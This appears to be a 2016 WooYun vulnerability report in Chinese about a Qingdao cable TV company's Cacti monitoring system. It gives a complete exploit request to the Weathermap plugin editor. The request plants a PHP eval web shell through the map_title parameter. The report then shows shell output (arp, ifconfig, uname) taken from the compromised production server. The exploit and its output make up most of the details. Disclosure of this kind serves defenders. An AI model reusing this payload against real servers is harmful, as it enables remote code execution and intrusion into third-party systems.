当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0184525

漏洞标题：青岛有线电视网络公司支撑监控系统漏洞导致Getshell

相关厂商：青岛有线电视网络公司

漏洞作者： 路人甲

提交时间：2016-03-14 16:17

修复时间：2016-05-02 15:01

公开时间：2016-05-02 15:01

漏洞类型：重要敏感信息泄露

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-14： 细节已通知厂商并且等待厂商处理中
2016-03-18： 厂商已经确认，细节仅向厂商公开
2016-03-28： 细节向核心白帽子及相关领域专家公开
2016-04-07： 细节向普通白帽子公开
2016-04-17： 细节向实习白帽子公开
2016-05-02： 细节向公众公开

简要描述：

···

详细说明：

青岛有线电视网络公司支撑监控系统
cacti
**.**.**.**/

**.**.**.**/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=%3C?php%20echo(md5(1));@eval($_POST[0]);?%3E&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name
**.**.**.**/plugins/weathermap/editor.php
**.**.**.**/plugins/weathermap/configs/test.php


shell

QQ20160314-3@2x.png


[Linux NOM.**.**.**.** 2.6.32-71.el6.i686 #1 SMP Fri Nov 12 04:17:17 GMT 2010 i686(apache)]
/>arp -a
qdaaa_4 (**.**.**.**) at 00:23:7d:3d:0d:7e [ether] on eth1
? (**.**.**.**) at 3c:8c:40:ab:d9:33 [ether] on eth1
? (**.**.**.**) at 00:0f:e2:64:ff:ce [ether] on eth1
? (**.**.**.**) at 00:18:82:83:6e:d2 [ether] on eth0
qdaaa_5 (**.**.**.**) at 00:23:7d:3d:0d:c9 [ether] on eth1
? (**.**.**.**) at ec:9a:74:6a:8b:a6 [ether] on eth1
? (**.**.**.**) at 58:6a:b1:e3:16:81 [ether] on eth1
? (**.**.**.**) at 00:0f:e2:9c:3f:06 [ether] on eth1
? (**.**.**.**) at 50:65:f3:f4:74:40 [ether] on eth1
/>ifconfig
eth0      Link encap:Ethernet  HWaddr 00:1E:0B:C0:01:7E  
          inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
          inet6 addr: fe80::21e:bff:fec0:17e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1285215873 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1136202676 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1956170961 (1.8 GiB)  TX bytes:1592978053 (1.4 GiB)
          Interrupt:16 Memory:f8000000-f8012800 
eth1      Link encap:Ethernet  HWaddr 00:1E:0B:C0:01:7C  
          inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
          inet6 addr: fe80::21e:bff:fec0:17c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13251602 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12305121 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1542506344 (1.4 GiB)  TX bytes:1186309808 (1.1 GiB)
          Interrupt:17 Memory:fa000000-fa012800 
lo        Link encap:Local Loopback  
          inet addr:**.**.**.**  Mask:**.**.**.**
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:12324557 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12324557 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1855388997 (1.7 GiB)  TX bytes:1855388997 (1.7 GiB)
/>uname -a
Linux NOM.**.**.**.** 2.6.32-71.el6.i686 #1 SMP Fri Nov 12 04:17:17 GMT 2010 i686 i686 i386 GNU/Linux
/>


ok

漏洞证明：

```

修复方案：

改

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-03-18 15:01

厂商回复：

CNVD确认所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态：

暂无